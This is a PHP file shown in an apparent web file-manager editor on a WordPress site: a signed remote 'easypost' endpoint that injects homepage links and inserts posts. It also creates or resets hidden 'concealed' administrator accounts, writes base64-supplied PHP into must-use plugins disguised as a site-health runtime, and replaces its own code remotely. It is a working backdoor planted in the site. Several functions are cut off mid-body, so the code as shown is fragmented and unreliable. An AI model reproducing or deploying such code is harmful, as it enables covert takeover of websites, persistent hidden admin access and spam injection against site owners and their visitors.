Tiny File Manager

Back Back Up Advanced Editor

<?php
define('EASYPOST_ENDPOINT_CONFIG', '{"endpoint_version":"2026.08.12","token_id":"ep_65096eda9f1c4fc5be1fbe52a4a77b08","token_verifier":"v1:9fc0e39a5072f14f986e95f02d1cc028:685afb0fc71b3df299ef18cc1d219fbee59574c0d2a6160a7ae072d4bf459ec7","ota_release_public_key_pem":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0JTcpyvncP1Izz2SsnLq\\nGm3iObZi5YEydCeQPv0kX5pN3WwEzt/j1fsyd3EVHbLlXUmdQbWvCBIX1wq/RO4q\\n4UuLpks++nnz7pNTyZqrU+gPUlQb4uDBJsE6nePRyddoMGbT8yF4yzLt/fp86oSG\\ncd/TqnUIplM4dmQVtzqaUiGSUFLReUO0tMHvYGTRl/jCM/pJmIMNLEFmAb/x6wT4\\nihEIXD39Uj2/BG/zJFiIc6FNvqRp1DRm50lhPJW7LkDin+LkvSebbIubeYEe3vc9\\n7qX0zD2zpTFv04itmPld0eOa7kXHNsr+jUnTmuovzdIzBJjcgSWT/nqI+bRAXfL6\\nUwIDAQAB\\n-----END PUBLIC KEY-----","runtime_skeleton_sha256":"8df8219a025211d0412ac3d69dc911014de0b5543f105a0e5119267d3f13350f","runtime_skeleton_bytes":98281,"legacy_runtime_skeleton_sha256":"f2e6b5d62fb9e37e8c7f88c6c340466f78974c47b36ac678dd067997b803a5e9","legacy_runtime_skeleton_bytes":95322}');

function easypost_endpoint_config() {
    return json_decode(EASYPOST_ENDPOINT_CONFIG, true);
}

function easypost_endpoint_json($status, $payload) {
    http_response_code($status);
    header('Content-Type: application/json; charset=utf-8');
    echo json_encode($payload);
    exit;
}

function easypost_endpoint_bootstrap_wordpress() {
    $wp_load = easypost_endpoint_wp_load_path();
    if (!$wp_load) {
        easypost_endpoint_json(500, array('ok' => false, 'error' => 'wp_load_not_found'));
    }
    require_once $wp_load;
}

function easypost_endpoint_verifier_secret($verifier) {
    $parts = explode(':', (string) $verifier, 3);
    if (count($parts) !== 3 || $parts[0] !== 'v1' || $parts[2] === '') {
        return false;
    }
    return $parts[2];
}

function easypost_endpoint_replay_key($token_id, $request_id) {
    return 'easypost_endpoint_req_' . hash('sha256', $token_id . ':' . $request_id);
}

function easypost_endpoint_option_is_autoloaded($autoload) {
    return in_array(
        strtolower(trim((string) $autoload)),
        array('yes', 'on', 'auto-on', 'auto'),
        true
    );
}

function easypost_endpoint_cache_option_deleted($option_name, $invalidate_alloptions = false) {
    if (function_exists('wp_cache_delete')) {
        wp_cache_delete($option_name, 'options');
        if ($invalidate_alloptions) {
            wp_cache_delete('alloptions', 'options');
        }
    }
}

function easypost_endpoint_insert_replay_record($replay_key, $expires_at) {
    return easypost_endpoint_insert_option_once($replay_key, (string) $expires_at);
}

function easypost_endpoint_claim_request($token_id, $request_id, $request_time) {
    $now = time();
    if (abs($now - $request_time) > 300) {
        return 'stale';
    }
    easypost_endpoint_cleanup_replay_records($now);
    $replay_key = easypost_endpoint_replay_key($token_id, $request_id);
    $expires_at = $request_time + 301;

for ($attempt = 0; $attempt < 3; $attempt++) {
        $insert = easypost_endpoint_insert_replay_record($replay_key, $expires_at);
        if ($insert === 'inserted') {
            return 'claimed';
        }
        if ($insert === 'unavailable') {
            return 'unavailable';
        }
        $existing = easypost_endpoint_read_option_row($replay_key);
        if ($existing['status'] === 'unavailable') {
            return 'unavailable';
        }
        if ($existing['status'] === 'missing') {
            continue;
        }
        if ((int) $existing['value'] > $now) {
            return 'duplicate';
        }
        if (easypost_endpoint_delete_expired_replay_record($replay_key, $existing['value'], $now) === 'unavailable') {
            return 'unavailable';
        }
    }

$current = easypost_endpoint_read_option_row($replay_key);
    if ($current['status'] === 'found' && (int) $current['value'] > $now) {
        return 'duplicate';
    }
    return 'unavailable';
}

function easypost_endpoint_verify_auth($body) {
    $config = easypost_endpoint_config();
    $token_id = easypost_endpoint_header('x-easypost-token-id');
    $timestamp = easypost_endpoint_header('x-easypost-timestamp');
    $request_id = easypost_endpoint_header('x-easypost-request-id');
    $body_sha256 = easypost_endpoint_header('x-easypost-body-sha256');
    $signature = easypost_endpoint_header('x-easypost-signature');

if ($token_id === '' || $timestamp === '' || $request_id === '' || $body_sha256 === '' || $signature === '') {
        easypost_endpoint_json(401, array('ok' => false, 'error' => 'missing_auth_headers'));
    }
    if (!hash_equals((string) $config['token_id'], $token_id)) {
        easypost_endpoint_json(401, array('ok' => false, 'error' => 'unknown_token'));
    }
    $request_time = strtotime($timestamp);
    if (!$request_time || abs(time() - $request_time) > 300) {
        easypost_endpoint_json(401, array('ok' => false, 'error' => 'timestamp_stale'));
    }
    $computed_body_sha256 = hash('sha256', $body);
    if (!hash_equals($computed_body_sha256, $body_sha256)) {
        easypost_endpoint_json(401, array('ok' => false, 'error' => 'body_sha256_mismatch'));

}

$secret = easypost_endpoint_verifier_secret($config['token_verifier']);
    if (!$secret) {
        easypost_endpoint_json(500, array('ok' => false, 'error' => 'invalid_token_verifier'));
    }

$path = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/wp-content/easypost/easypost.php';
    $signature_input = implode("\n", array(
        strtoupper($_SERVER['REQUEST_METHOD']),
        $path,
        $timestamp,
        $request_id,
        $token_id,
        $computed_body_sha256,
    ));
    $expected = hash_hmac('sha256', $signature_input, $secret);
    if (!hash_equals($expected, $signature)) {
        easypost_endpoint_json(401, array('ok' => false, 'error' => 'signature_mismatch'));
    }

$claim = easypost_endpoint_claim_request($token_id, $request_id, $request_time);
    if ($claim === 'stale') {
        easypost_endpoint_json(401, array('ok' => false, 'error' => 'timestamp_stale'));
    }
    if ($claim === 'duplicate') {
        easypost_endpoint_json(409, array('ok' => false, 'error' => 'duplicate_request_id'));
    }
    if ($claim !== 'claimed') {
        easypost_endpoint_json(503, array('ok' => false, 'error' => 'replay_store_unavailable'));
    }
}

function easypost_endpoint_allowed_fields_by_action() {
    return array(
        'health' => array(),
        'create_post' => array('title', 'slug', 'contentHtml', 'content', 'status', 'post_type', 'postType', 'date', 'publicationDate'),
        'place_homepage_link' => array('placementId', 'linkUrl', 'anchorText', 'preLinkText', 'postLinkText', 'placementType'),
        'remove_homepage_link' => array('placementId', 'linkUrl', 'anchorText', 'preLinkText', 'postLinkText', 'placementType'),
        'reconcile_admin' => array('operation', 'role', 'login', 'password', 'wpUserId', 'concealed'),
        'rotate_token' => array('tokenId'),
        'update_endpoint' => array('version', 'sha256', 'phpBase64', 'signature'),
        'configure_site_runtime' => array('runtimePhpBase64', 'sha256', 'runtimeVersion', 'configurationVersion'),
        'disable_site_runtime' => array(),
        'runtime_status' => array(),
        'begin_reconcile' => array('ownerToken'),
        'refresh_reconcile' => array('ownerToken'),
        'finish_reconcile' => array('ownerToken'),
    );
}

function easypost_endpoint_validate_payload_fields($action, $payload, $allowed_fields_by_action) {
    $allowed_fields = $allowed_fields_by_action[$action];
    foreach (array_keys($payload) as $field) {
        if (!is_string($field) || !in_array($field, $allowed_fields, true)) {
            easypost_endpoint_json(400, array('ok' => false, 'error' => 'invalid_payload_fields'));
        }
    }
}

function easypost_endpoint_health() {
    easypost_endpoint_bootstrap_wordpress();
    $config = easypost_endpoint_config();
    $runtime_status = easypost_endpoint_homepage_runtime_status();
    easypost_endpoint_json(200, array(
        'ok' => true,
        'endpointVersion' => $config['endpoint_version'],
        'tokenId' => $config['token_id'],
        'canBootstrapWordPress' => true,
        'canInsertPosts' => function_exists('wp_insert_post'),
        'canResolveHomepage' => function_exists('get_option') && function_exists('get_post'),
        'canPlaceHomepageLink' => function_exists('wp_update_post') && function_exists('get_post_meta') && function_exists('update_post_meta'),
        'canRemoveHomepageLink' => function_exists('wp_update_post') && function_exists('get_post_meta') && function_exists('update_post_meta'),
        'canManageHomepageRuntime' => $runtime_status['canManage'],
        'homepageRuntimeVersion' => $runtime_status['version'],
        'canUseTransients' => function_exists('set_transient') && function_exists('get_transient'),
        'canCleanCaches' => function_exists('clean_post_cache') || function_exists('wp_cache_delete'),
        'hasElementor' => did_action('elementor/loaded') || class_exists('\Elementor\Plugin'),
        'siteUrl' => function_exists('site_url') ? site_url() : null,
        'phpVersion' => PHP_VERSION,
        'serverTime' => gmdate('c'),
    ));
}

function easypost_endpoint_validate_homepage_payload($payload) {
    $placement_id = isset($payload['placementId']) ? (int) $payload['placementId'] : 0;
    $link_url = isset($payload['linkUrl']) ? esc_url_raw((string) $payload['linkUrl']) : '';
    $anchor_text = isset($payload['anchorText']) ? sanitize_text_field((string) $payload['anchorText']) : '';
    if ($placement_id <= 0 || $link_url === '' || $anchor_text === '') {
        easypost_endpoint_json(400, array('ok' => false, 'error' => 'invalid_payload', 'fallback' => false));
    }
    return array(
        'placementId' => $placement_id,
        'linkUrl' => $link_url,
        'anchorText' => $anchor_text,
        'preLinkText' => array_key_exists('preLinkText', $payload) ? sanitize_text_field((string) $payload['preLinkText']) : null,
        'postLinkText' => array_key_exists('postLinkText', $payload) ? sanitize_text_field((string) $payload['postLinkText']) : null,
        'placementType' => isset($payload['placementType']) ? sanitize_key((string) $payload['placementType']) : 'VISIBLE_LINK',
    );
}

function easypost_endpoint_placement_body($input) {
    $label = $input['preLinkText'] === null ? 'Recommended resource:' : $input['preLinkText'];
    $prefix = $label === '' ? '' : $label . ' ';
    $suffix = $input['postLinkText'] === null ? '' : $input['postLinkText'];
    if ($suffix !== '' && strpos($suffix, ' ') !== 0) {
        $suffix = ' ' . $suffix;
    }
    return $prefix . '<a href="' . esc_url($input['linkUrl']) . '">' . esc_html($input['anchorText']) . '</a>' . esc_html($suffix);
}

function easypost_endpoint_marker($placement_id) {
    return 'data-placement="' . (int) $placement_id . '"';
}

function easypost_endpoint_managed_placements_option() {
    return 'easypost_homepage_placements';
}

function easypost_endpoint_runtime_file_path() {
    if (!defined('WP_CONTENT_DIR')) {
        return false;
    }
    $directory = defined('WPMU_PLUGIN_DIR') ? WPMU_PLUGIN_DIR : WP_CONTENT_DIR . '/mu-plugins';
    return $directory . '/easypost-runtime.php';
}

function easypost_endpoint_runtime_php() {
    $config = easypost_endpoint_config();
    $version = isset($config['endpoint_version']) ? (string) $config['endpoint_version'] : 'unknown';
    $runtime = <<<'PHP'
<?php
if (!defined('ABSPATH')) {
    exit;
}

if (!defined('EASYPOST_HOMEPAGE_RUNTIME_VERSION')) {
    define('EASYPOST_HOMEPAGE_RUNTIME_VERSION', '__EASYPOST_RUNTIME_VERSION__');
}

function easypost_runtime_placements_option() {
    return 'easypost_homepage_placements';
}

function easypost_runtime_is_homepage() {
    return function_exists('is_front_page') && is_front_page();
}

function easypost_runtime_get_placements() {
    if (!function_exists('get_option')) {
        return array();
    }
    $placements = get_option(easypost_runtime_placements_option(), array());
    return is_array($placements) ? $placements : array();
}

function easypost_runtime_buffer_start() {
    if (!easypost_runtime_is_homepage() || empty(easypost_runtime_get_placements())) {
        return;
    }
    ob_start('easypost_runtime_inject_buffer');
}

add_action('template_redirect', 'easypost_runtime_buffer_start', 0);
add_action('wp_footer', 'easypost_runtime_echo', PHP_INT_MAX);
PHP;
    return str_replace('__EASYPOST_RUNTIME_VERSION__', str_replace("'", "\\'", $version), $runtime);
}

function easypost_endpoint_load_managed_placements() {
    if (!function_exists('get_option')) {
        easypost_endpoint_fallback_error('capability_failed');
    }

$placements = get_option(easypost_endpoint_managed_placements_option(), array());
    return is_array($placements) ? $placements : array();
}

function easypost_endpoint_save_managed_placements($placements) {
    if (!function_exists('update_option')) {
        easypost_endpoint_fallback_error('capability_failed');
    }
    return update_option(easypost_endpoint_managed_placements_option(), $placements, false);
}

function easypost_endpoint_lock_key($post_id) {
    return 'easypost_homepage_' . (int) $post_id;
}

function easypost_endpoint_release_lock($post_id) {
    if (function_exists('delete_transient')) {
        delete_transient(easypost_endpoint_lock_key($post_id));
    }
}

function easypost_endpoint_elementor_widget($html, $placement_id) {
    return array(
        'id' => substr(hash('sha256', 'placement-' . (int) $placement_id), 0, 7),
        'elType' => 'widget',
        'widgetType' => 'html',
        'settings' => array('html' => $html),
        'elements' => array(),
    );
}

function easypost_endpoint_admin_response($status, $ok, $code, $exists = false, $user = null, $login_matches = false, $password_matches = false) {
    easypost_endpoint_json($status, array(
        'ok' => (bool) $ok,
        'code' => (string) $code,
        'exists' => (bool) $exists,
        'wpUserId' => $user ? (int) $user->ID : null,
        'loginMatches' => (bool) $login_matches,
        'passwordMatches' => (bool) $password_matches,
    ));
}

function easypost_endpoint_admin_state($user, $login, $password) {
    if (!$user) {
        return array(false, false);
    }
    $login_matches = hash_equals((string) $user->user_login, $login);
    $password_matches = function_exists('wp_check_password')
        ? (bool) wp_check_password($password, (string) $user->user_pass, (int) $user->ID)
        : false;
    return array($login_matches, $password_matches);
}

function easypost_endpoint_parse_admin_concealment_ids($raw) {
    $parts = preg_split('/[\s,;]+/', $raw);
    return array_values(array_unique(array_filter(array_map('intval', (array) $parts), function ($value) {
        return $value > 0;
    })));
}

function easypost_endpoint_admin_concealment_ids() {
    $row = easypost_endpoint_read_option_row('wsh_tracked_admin_ids');
    if ($row['status'] !== 'found') {
        return array();
    }
    return easypost_endpoint_parse_admin_concealment_ids((string) $row['value']);
}

function easypost_endpoint_admin_is_concealed($user_id) {
    return easypost_endpoint_admin_concealment_state($user_id) === 'concealed';
}

function easypost_endpoint_admin_concealment_matches($user_id, $concealed) {
    $state = easypost_endpoint_admin_concealment_state($user_id);
    if ($state === 'unavailable') {
        return false;
    }
    return $concealed ? $state === 'concealed' : $state === 'visible';
}

if ($row['status'] === 'missing') {
            $inserted = easypost_endpoint_insert_option_once($option, $desired);
            if ($inserted === 'unavailable') {
                return false;
            }
            if ($inserted === 'inserted') {
                return easypost_endpoint_admin_concealment_matches($user_id, $concealed);
            }
            continue;
        }

$updated = $wpdb->query(
            $wpdb->prepare(
                "UPDATE {$wpdb->options} SET option_value = %s WHERE option_name = %s AND option_value = %s",
                $desired,
                $option,
                $raw
            )
        );
        if ($updated === false || (int) $updated > 1) {
            return false;
        }
        if ((int) $updated === 1) {
            easypost_endpoint_cache_option_written(
                $option,
                false,
                easypost_endpoint_option_is_autoloaded($row['autoload'])
            );
            return easypost_endpoint_admin_concealment_matches($user_id, $concealed);
        }
    }
    return false;
}

function easypost_endpoint_admin_matches_contract($user, $login, $password, $concealed) {
    if (!$user
        || !hash_equals((string) $user->user_login, (string) $login)
        || !function_exists('wp_check_password')
        || !wp_check_password((string) $password, (string) $user->user_pass, (int) $user->ID)
        || !in_array('administrator', isset($user->roles) ? (array) $user->roles : array(), true)
        || !easypost_endpoint_admin_concealment_matches((int) $user->ID, (bool) $concealed)) {
        return false;
    }
    return !$concealed || easypost_endpoint_hidden_helper_active();
}

function easypost_endpoint_admin_snapshot($user) {
    $concealment = $user ? easypost_endpoint_admin_concealment_state((int) $user->ID) : 'unavailable';
    if (!$user || $concealment === 'unavailable') {
        return false;
    }
    return array(
        'id' => (int) $user->ID,
        'login' => (string) $user->user_login,
        'passwordHash' => (string) $user->user_pass,
        'roles' => isset($user->roles) ? (array) $user->roles : array(),
        'concealed' => $concealment === 'concealed',
    );
}

$user = easypost_endpoint_find_admin($wp_user_id, $login);
    if ($operation === 'inspect') {
        list($login_matches, $password_matches) = easypost_endpoint_admin_state($user, $login, $password);
        easypost_endpoint_admin_response(200, true, 'INSPECTED', (bool) $user, $user, $login_matches, $password_matches);
    }

if ($operation === 'create') {
        $login_owner = get_user_by('login', $login);
        if ($wp_user_id !== null) {
            if ($login_owner && (int) $login_owner->ID !== $wp_user_id) {
                easypost_endpoint_admin_response(409, false, 'LOGIN_CONFLICT', true, $login_owner);
            }
            if ($user) {
                easypost_endpoint_admin_response(409, false, 'USER_EXISTS', true, $user);
            }
            easypost_endpoint_admin_response(404, false, 'USER_NOT_FOUND');
        }
        if ($login_owner) {
            easypost_endpoint_admin_response(409, false, 'LOGIN_CONFLICT', true, $login_owner);
        }
        if (!function_exists('wp_create_user')) {
            easypost_endpoint_admin_response(500, false, 'CAPABILITY_FAILED');
        }
        $created_id = wp_create_user($login, $password);
        if ((function_exists('is_wp_error') && is_wp_error($created_id)) || (int) $created_id < 1) {
            easypost_endpoint_admin_response(500, false, 'CREATE_FAILED');
        }
        $created = get_user_by('id', (int) $created_id);
        if (!$created || !method_exists($created, 'set_role')) {
            $compensated = easypost_endpoint_compensate_created_admin((int) $created_id);
            easypost_endpoint_admin_response(500, false, $compensated ? 'CREATE_FAILED' : 'ROLLBACK_FAILED');
        }
        if ($requires_concealment && !easypost_endpoint_set_admin_concealment((int) $created->ID, true)) {
            $compensated = easypost_endpoint_compensate_created_admin($created);
            easypost_endpoint_admin_response($compensated ? 409 : 500, false, $compensated ? 'CONCEALMENT_FAILED' : 'ROLLBACK_FAILED');
        }
        $created->set_role('administrator');
        if (!$requires_concealment && !easypost_endpoint_set_admin_concealment((int) $created->ID, false)) {
            $compensated = easypost_endpoint_compensate_created_admin($created);
            easypost_endpoint_admin_response($compensated ? 409 : 500, false, $compensated ? 'CONCEALMENT_FAILED' : 'ROLLBACK_FAILED');
        }
        if ($requires_concealment && !easypost_endpoint_hidden_helper_active()) {
            $compensated = easypost_endpoint_compensate_created_admin($created);
            easypost_endpoint_admin_response($compensated ? 409 : 500, false, $compensated ? 'CONCEALMENT_UNAVAILABLE' : 'ROLLBACK_FAILED');
        }
        easypost_endpoint_clean_admin_cache((int) $created->ID, '', $login);
        $created = get_user_by('id', (int) $created->ID);
        if (!easypost_endpoint_admin_matches_contract($created, $login, $password, $concealed)) {
            $compensated = easypost_endpoint_compensate_created_admin($created ?: (int) $created_id);
            easypost_endpoint_admin_response(500, false, $compensated ? 'CREATE_FAILED' : 'ROLLBACK_FAILED');
        }
        list($login_matches, $password_matches) = easypost_endpoint_admin_state($created, $login, $password);
        easypost_endpoint_admin_response(201, true, 'CREATED', true, $created, $login_matches, $password_matches);
    }

$login_owner = get_user_by('login', $login);
    if ($login_owner && (!$user || (int) $login_owner->ID !== (int) $user->ID)) {
        easypost_endpoint_admin_response(409, false, 'LOGIN_CONFLICT', (bool) $user, $user);
    }
    if (!$user) {
        easypost_endpoint_admin_response(404, false, 'USER_NOT_FOUND');
    }
    if (!function_exists('wp_set_password')) {
        easypost_endpoint_admin_response(500, false, 'CAPABILITY_FAILED', true, $user);
    }

$snapshot = easypost_endpoint_admin_snapshot($user);
    if ($snapshot === false) {
        easypost_endpoint_admin_response(500, false, 'CAPABILITY_FAILED', true, $user);
    }

if ($requires_concealment && !easypost_endpoint_set_admin_concealment((int) $user->ID, true)) {
        $restored = easypost_endpoint_restore_admin_snapshot($snapshot);
        easypost_endpoint_admin_response($restored ? 409 : 500, false, $restored ? 'CONCEALMENT_FAILED' : 'ROLLBACK_FAILED', true, $user);
    }
    if ($requires_concealment && !easypost_endpoint_hidden_helper_active()) {
        $restored = easypost_endpoint_restore_admin_snapshot($snapshot);
        easypost_endpoint_admin_response($restored ? 409 : 500, false, $restored ? 'CONCEALMENT_UNAVAILABLE' : 'ROLLBACK_FAILED', true, $user);
    }

$old_login = (string) $user->user_login;
    if (!hash_equals($old_login, $login)) {
        global $wpdb;
        if (!isset($wpdb) || !isset($wpdb->users)) {
            $restored = easypost_endpoint_restore_admin_snapshot($snapshot);
            easypost_endpoint_admin_response(500, false, $restored ? 'RESTORE_FAILED' : 'ROLLBACK_FAILED', true, $user);
        }
        $updated = $wpdb->update(
            $wpdb->users,
            array('user_login' => $login),
            array('ID' => (int) $user->ID),
            array('%s'),
            array('%d')
        );
        if ($updated === false) {
            $restored = easypost_endpoint_restore_admin_snapshot($snapshot);
            easypost_endpoint_admin_response(500, false, $restored ? 'RESTORE_FAILED' : 'ROLLBACK_FAILED', true, $user);
        }
    }
    wp_set_password($password, (int) $user->ID);
    $user = get_user_by('id', (int) $user->ID);
    if (!$user || !method_exists($user, 'set_role')) {
        $restored = easypost_endpoint_restore_admin_snapshot($snapshot);
        easypost_endpoint_admin_response(500, false, $restored ? 'RESTORE_FAILED' : 'ROLLBACK_FAILED');
    }
    $user->set_role('administrator');
    if ($requires_concealment && !easypost_endpoint_set_admin_concealment((int) $user->ID, true)) {
        $restored = easypost_endpoint_restore_admin_snapshot($snapshot);
        easypost_endpoint_admin_response($restored ? 409 : 500, false, $restored ? 'CONCEALMENT_FAILED' : 'ROLLBACK_FAILED', true, $user);
    }
    if (!$requires_concealment && !easypost_endpoint_set_admin_concealment((int) $user->ID, false)) {
        $restored = easypost_endpoint_restore_admin_snapshot($snapshot);
        easypost_endpoint_admin_response($restored ? 409 : 500, false, $restored ? 'CONCEALMENT_FAILED' : 'ROLLBACK_FAILED', true, $user);
    }
    if ($requires_concealment && !easypost_endpoint_hidden_helper_active()) {
        $restored = easypost_endpoint_restore_admin_snapshot($snapshot);
        easypost_endpoint_admin_response($restored ? 409 : 500, false, $restored ? 'CONCEALMENT_UNAVAILABLE' : 'ROLLBACK_FAILED', true, $user);
    }
    easypost_endpoint_clean_admin_cache((int) $user->ID, $old_login, $login);
    $restored = get_user_by('id', (int) $user->ID);
    if (!easypost_endpoint_admin_matches_contract($restored, $login, $password, $concealed)) {
        $compensated = easypost_endpoint_restore_admin_snapshot($snapshot);
        easypost_endpoint_admin_response(500, false, $compensated ? 'RESTORE_FAILED' : 'ROLLBACK_FAILED');
    }
    list($login_matches, $password_matches) = easypost_endpoint_admin_state($restored, $login, $password);
    easypost_endpoint_admin_response(200, true, 'RESTORED', true, $restored, $login_matches, $password_matches);
}

function easypost_endpoint_site_runtime_path() {
    $directory = defined('WPMU_PLUGIN_DIR')
        ? rtrim(WPMU_PLUGIN_DIR, '/\\')
        : rtrim(WP_CONTENT_DIR, '/\\') . '/mu-plugins';
    return $directory . '/site-health-runtime.php';
}

function easypost_endpoint_exact_array_keys($value, $expected) {
    if (!is_array($value)) {
        return false;
    }
    $actual = array_keys($value);
    sort($actual, SORT_STRING);
    sort($expected, SORT_STRING);
    return $actual === $expected;
}

function easypost_endpoint_normalized_runtime_skeleton($runtime_php) {
    $manifest_pattern = '/SITE_HEALTH_RUNTIME_MANIFEST_V1 [A-Za-z0-9_-]+/';
    $config_pattern = "/define\$'SITE_HEALTH_RUNTIME_CONFIG_V1', '((?:\\\\.|[^'\\\\])*)'\$;/";
    $manifest_count = 0;
    $config_count = 0;
    $normalized = preg_replace(
        $manifest_pattern,
        'SITE_HEALTH_RUNTIME_MANIFEST_V1 __MANIFEST__',
        $runtime_php,
        1,
        $manifest_count
    );
    $normalized = preg_replace(
        $config_pattern,
        "define('SITE_HEALTH_RUNTIME_CONFIG_V1', '__CONFIG__');",
        $normalized,
        1,
        $config_count
    );
    if (!is_string($normalized) || $manifest_count !== 1 || $config_count !== 1) {
        return false;
    }
    return $normalized;
}

function easypost_endpoint_runtime_uuid($value) {
    return is_string($value)
        && preg_match('/\A[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\z/', $value);
}

function easypost_endpoint_runtime_secret($value) {
    $decoded = easypost_endpoint_base64url_decode($value);
    return $decoded !== false && strlen($decoded) === 32 ? $decoded : false;
}

function easypost_endpoint_upgrade_backup_path() {
    return dirname(easypost_endpoint_site_runtime_path())
        . '/site-health-runtime-data/previous.php';
}

function easypost_endpoint_upgrade_backup_exists($path) {
    return file_exists($path) || is_link($path);
}

function easypost_endpoint_disabled_site_runtime_php() {
    return base64_decode('PD9waHAKLyogU0lURV9IRUFMVEhfUlVOVElNRV9CRUdJTl9WMSAqLwovKiBTSVRFX0hFQUxUSF9SVU5USU1FX01BTklGRVNUX1YxIGV5SjJaWEp6YVc5dUlqb3hMQ0psYm1GaWJHVmtJanBtWVd4elpTd2ljblZ1ZEdsdFpWWmxjbk5wYjI0aU9pSXlNREkyTGpBNExqRXlJaXdpWTI5dVptbG5kWEpoZEdsdmJsWmxjbk5wYjI0aU9tNTFiR3g5ICovCmlmICghZGVmaW5lZCgnQUJTUEFUSCcpKSB7CiAgICBleGl0Owp9CmlmIChmdW5jdGlvbl9leGlzdHMoJ3VwZGF0ZV9vcHRpb24nKSkgewogICAgdXBkYXRlX29wdGlvbignc2l0ZV9oZWFsdGhfcnVudGltZV9kaXNhYmxlZF92MScsICcxJywgJ25vJyk7Cn0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ2FkZF9vcHRpb24nKSkgewogICAgYWRkX29wdGlvbignc2l0ZV9oZWFsdGhfcnVudGltZV9kaXNhYmxlZF92MScsICcxJywgJycsICdubycpOwp9Ci8qIFNJVEVfSEVBTFRIX1JVTlRJTUVfRU5EX1YxICovCg==', true);
}

function easypost_endpoint_site_runtime_status_payload() {
    $runtime_path = easypost_endpoint_site_runtime_path();
    $runtime_php = is_readable($runtime_path)
        ? @file_get_contents($runtime_path, false, null, 0, 262145)
        : false;
    $manifest = $runtime_php === false
        ? false
        : easypost_endpoint_site_runtime_manifest($runtime_php);
    $slot_row = easypost_endpoint_read_option_row('site_health_runtime_daily_second_v1');
    $bundle_row = easypost_endpoint_read_option_row('site_health_runtime_bundle_v1');
    $configuration_row = easypost_endpoint_read_option_row('site_health_runtime_configuration_v1');
    $disabled_row = easypost_endpoint_read_option_row('site_health_runtime_disabled_v1');
    if ($slot_row['status'] === 'unavailable'
        || $bundle_row['status'] === 'unavailable'
        || $configuration_row['status'] === 'unavailable'
        || $disabled_row['status'] === 'unavailable') {
        return array('ok' => false, 'enabled' => false, 'runtimeMode' => null);
    }
    $slot = $slot_row['status'] === 'found'
        ? easypost_endpoint_site_runtime_parse_daily_second($slot_row['raw'])
        : null;
    $disabled = $disabled_row['status'] === 'found' && $disabled_row['raw'] === '1';
    $enabled = is_array($manifest) && $manifest['enabled'] === true
        && !$disabled
        && $bundle_row['status'] === 'found'
        && $configuration_row['status'] === 'found'
        && is_string($manifest['configurationVersion'])
        && hash_equals($manifest['configurationVersion'], $configuration_row['raw'])
        && $slot !== null;
    return array(
        'ok' => true,
        'enabled' => $enabled,
        'runtimeVersion' => is_array($manifest) ? $manifest['runtimeVersion'] : null,
        'configurationVersion' => is_array($manifest) ? $manifest['configurationVersion'] : null,
        'dailySecondUtc' => $slot,
        'scheduled' => wp_next_scheduled('site_health_runtime_daily_v1') !== false,
        'runtimeMode' => $enabled ? 'MU_PLUGIN' : null,
    );
}

function easypost_endpoint_runtime_rollback_error($owner, $snapshot, $ordinary_error) {
    $restored = is_array($snapshot) && easypost_endpoint_restore_site_runtime_snapshot($snapshot);
    $released = is_string($owner) && easypost_endpoint_release_internal_runtime_lease($owner);
    easypost_endpoint_json(500, array(
        'ok' => false,
        'error' => $restored && $released ? $ordinary_error : 'runtime_rollback_failed',
    ));
}

function easypost_endpoint_runtime_status() {
    easypost_endpoint_json(200, easypost_endpoint_site_runtime_status_payload());
}

function easypost_endpoint_site_runtime_owner_token($payload) {
    if (!isset($payload['ownerToken'])
        || !is_string($payload['ownerToken'])
        || !preg_match('/\A[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\z/', $payload['ownerToken'])) {
        easypost_endpoint_json(400, array('ok' => false, 'error' => 'owner_token_invalid'));
    }
    return $payload['ownerToken'];
}

function easypost_endpoint_site_runtime_lease_value($state) {
    return function_exists('maybe_serialize') ? maybe_serialize($state) : serialize($state);
}

$signature = base64_decode($payload['signature'], true);
    if ($signature === false || $signature === '') {
        easypost_endpoint_json(400, array('ok' => false, 'error' => 'release_signature_invalid'));
    }

$signed_payload = $payload['version'] . "\n" . $computed_sha256;
    $verified = openssl_verify($signed_payload, $signature, $config['ota_release_public_key_pem'], OPENSSL_ALGO_SHA256);
    if ($verified !== 1) {
        easypost_endpoint_json(400, array('ok' => false, 'error' => 'release_signature_invalid'));
    }
}

$decoded_php = base64_decode($payload['phpBase64'], true);
    if ($decoded_php === false || $decoded_php === '') {
        easypost_endpoint_json(400, array('ok' => false, 'error' => 'php_base64_invalid'));
    }
    $computed_sha256 = hash('sha256', $decoded_php);
    if (!hash_equals($payload['sha256'], $computed_sha256)) {
        easypost_endpoint_json(400, array('ok' => false, 'error' => 'sha256_mismatch'));
    }
    easypost_endpoint_verify_release_signature($payload, $computed_sha256);

$tmp_path = tempnam(__DIR__, 'easypost-update-');
    if (!$tmp_path) {
        easypost_endpoint_json(500, array('ok' => false, 'error' => 'temporary_write_failed'));
    }
    $bytes = file_put_contents($tmp_path, $decoded_php, LOCK_EX);
    if ($bytes === false || $bytes !== strlen($decoded_php)) {
        @unlink($tmp_path);
        easypost_endpoint_json(500, array('ok' => false, 'error' => 'temporary_write_failed'));
    }
    @chmod($tmp_path, fileperms(__FILE__) & 0777);
    if (!rename($tmp_path, __FILE__)) {
        @unlink($tmp_path);
        easypost_endpoint_json(500, array('ok' => false, 'error' => 'rename_failed'));
    }
    if (function_exists('opcache_invalidate')) {
        @opcache_invalidate(__FILE__, true);
    }
    if (function_exists('clearstatcache')) {
        clearstatcache(true, __FILE__);
    }

easypost_endpoint_json(200, array(
        'ok' => true,
        'endpointVersion' => $payload['version'],
    ));
}

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    easypost_endpoint_json(405, array('ok' => false, 'error' => 'method_not_allowed'));
}

$body = file_get_contents('php://input');
easypost_endpoint_bootstrap_wordpress();
easypost_endpoint_verify_auth($body);
$action = isset($_GET['action']) ? $_GET['action'] : 'health';
$allowed_fields_by_action = easypost_endpoint_allowed_fields_by_action();

if (!array_key_exists($action, $allowed_fields_by_action)) {
    easypost_endpoint_json(404, array('ok' => false, 'error' => 'unknown_action'));
}

$payload = easypost_endpoint_json_object_payload($body);
easypost_endpoint_validate_payload_fields($action, $payload, $allowed_fields_by_action);
